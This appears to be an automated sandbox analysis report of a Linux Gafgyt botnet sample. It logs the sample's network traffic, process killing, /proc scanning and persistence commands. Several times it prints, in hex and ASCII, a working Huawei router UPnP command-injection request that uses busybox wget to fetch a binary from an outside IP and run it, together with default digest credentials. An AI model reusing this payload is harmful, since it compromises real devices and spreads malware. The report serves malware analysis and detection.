Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 157.69.142.5
Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.192.134
Source: unknown	TCP traffic detected without corresponding DNS query: 157.172.1.4
Source: unknown	TCP traffic detected without corresponding DNS query: 140.21.248.12
Source: unknown	TCP traffic detected without corresponding DNS query: 157.105.200.147
Source: unknown	TCP traffic detected without corresponding DNS query: 157.165.164.2
Source: unknown	TCP traffic detected without corresponding DNS query: 197.165.54.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.90.12.222
Source: unknown	TCP traffic detected without corresponding DNS query: 41.104.120.229
Source: unknown	TCP traffic detected without corresponding DNS query: 41.225.69.158
Source: unknown	TCP traffic detected without corresponding DNS query: 217.247.123.233
Source: unknown	TCP traffic detected without corresponding DNS query: 157.23.234.99
Source: unknown	TCP traffic detected without corresponding DNS query: 200.235.95.84
Source: unknown	TCP traffic detected without corresponding DNS query: 89.167.8.136
Source: unknown	TCP traffic detected without corresponding DNS query: 96.171.12.224
Source: unknown	TCP traffic detected without corresponding DNS query: 41.129.189.238
Source: unknown	TCP traffic detected without corresponding DNS query: 157.164.8.222
Source: unknown	TCP traffic detected without corresponding DNS query: 157.139.134.251
Source: unknown	TCP traffic detected without corresponding DNS query: 157.26.15.92
Source: unknown	TCP traffic detected without corresponding DNS query: 41.220.239.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.236.226.253
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.61.80
Source: unknown	TCP traffic detected without corresponding DNS query: 197.82.60.114
Source: unknown	TCP traffic detected without corresponding DNS query: 157.233.67.33
Source: unknown	TCP traffic detected without corresponding DNS query: 220.115.148.111
Source: unknown	TCP traffic detected without corresponding DNS query: 157.132.24.207
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.240.191
Source: unknown	TCP traffic detected without corresponding DNS query: 41.204.80.61
Source: unknown	TCP traffic detected without corresponding DNS query: 190.23.40.40
Source: unknown	TCP traffic detected without corresponding DNS query: 80.9.96.59
Source: unknown	TCP traffic detected without corresponding DNS query: 157.80.98.239
Source: unknown	TCP traffic detected without corresponding DNS query: 197.80.159.211
Source: unknown	TCP traffic detected without corresponding DNS query: 156.95.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 157.204.106.135
Source: unknown	TCP traffic detected without corresponding DNS query: 12.180.76.35
Source: unknown	TCP traffic detected without corresponding DNS query: 41.220.4.45
Source: unknown	TCP traffic detected without corresponding DNS query: 157.229.27.88
Source: unknown	TCP traffic detected without corresponding DNS query: 197.90.14.34
Source: unknown	TCP traffic detected without corresponding DNS query: 41.100.71.159
Source: unknown	TCP traffic detected without corresponding DNS query: 57.129.125.155
Source: unknown	TCP traffic detected without corresponding DNS query: 41.221.145.38
Source: unknown	TCP traffic detected without corresponding DNS query: 157.246.168.76
Source: unknown	TCP traffic detected without corresponding DNS query: 157.116.55.205
Source: unknown	TCP traffic detected without corresponding DNS query: 2.141.87.26
Source: unknown	TCP traffic detected without corresponding DNS query: 157.138.165.220
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.16.15
Source: unknown	TCP traffic detected without corresponding DNS query: 157.35.157.191
Source: unknown	TCP traffic detected without corresponding DNS query: 99.208.44.187
Source: unknown	TCP traffic detected without corresponding DNS query: 220.72.171.121
Source: unknown	TCP traffic detected without corresponding DNS query: 41.149.69.32

Source: unknown

DNS traffic detected: queries for: bn.networkbn.click

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: xycCMtcF29.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: xycCMtcF29.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: xycCMtcF29.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5432.1.00007f2aa0001000.00007f2aa0013000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: xycCMtcF29.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 914, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 1238, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 3158, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5467, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5472, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5475, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKhenry-armhenry-arm7henry-mipshenry-mipselhenry-x86_64henry-sh4henry-ppchenry-m68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpkillkillalltftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-servershellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt//bin/httpd/bin/watchdog/bin/systemdrm -rf && mkdir ; > && mv ; chmod 777 3f

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 914, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 1238, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 3158, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5467, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5472, result: successful	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	SIGKILL sent: pid: 5475, result: successful	Jump to behavior

Source: xycCMtcF29.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5432.1.00007f2aa0001000.00007f2aa0013000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: xycCMtcF29.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/1025@20/0

Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/3640/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/5380/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/5274/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/3773/cmdline	Jump to behavior
Source: /tmp/xycCMtcF29.elf (PID: 5444)	File opened: /proc/936/cmdline	Jump to behavior

Source: /tmp/xycCMtcF29.elf (PID: 5434)

Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd\\xff\\xec0\\x80 && mv /tmp/xycCMtcF29.elf\\xff\\xff\\xff\\xff\\xff\\xff\\xecH bin/systemd\\x80; chmod 777 \\xff\\xecHbin/systemd"

Jump to behavior

Source: /bin/sh (PID: 5439)

Chmod executable: /usr/bin/chmod -> chmod 777 \\xff\\xecHbin/systemd

Jump to behavior

Source: /bin/sh (PID: 5437)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /bin/sh (PID: 5436)

Rm executable: /usr/bin/rm -> rm -rf bin/systemd

Jump to behavior

Source: /bin/sh (PID: 5439)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 \\xff\\xecHbin/systemd

Jump to behavior

Source: submitted sample

Stderr: mv: cannot stat '/tmp/xycCMtcF29.elf'$'\377\377\377\377\377\377\354''H': No such file or directorychmod: cannot access ''$'\377\354''Hbin/systemd': No such file or directory: exit code = 0

Source: /tmp/xycCMtcF29.elf (PID: 5432)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5464)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5467)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5472)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5475)	Queries kernel information via 'uname':	Jump to behavior

Source: xycCMtcF29.elf, 5432.1.00007ffe112d9000.00007ffe112fa000.rw-.sdmp	Binary or memory string: xx86_64/usr/bin/qemu-m68k/tmp/xycCMtcF29.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/xycCMtcF29.elf
Source: xycCMtcF29.elf, 5432.1.000055f140590000.000055f1405f4000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: xycCMtcF29.elf, 5432.1.00007ffe112d9000.00007ffe112fa000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
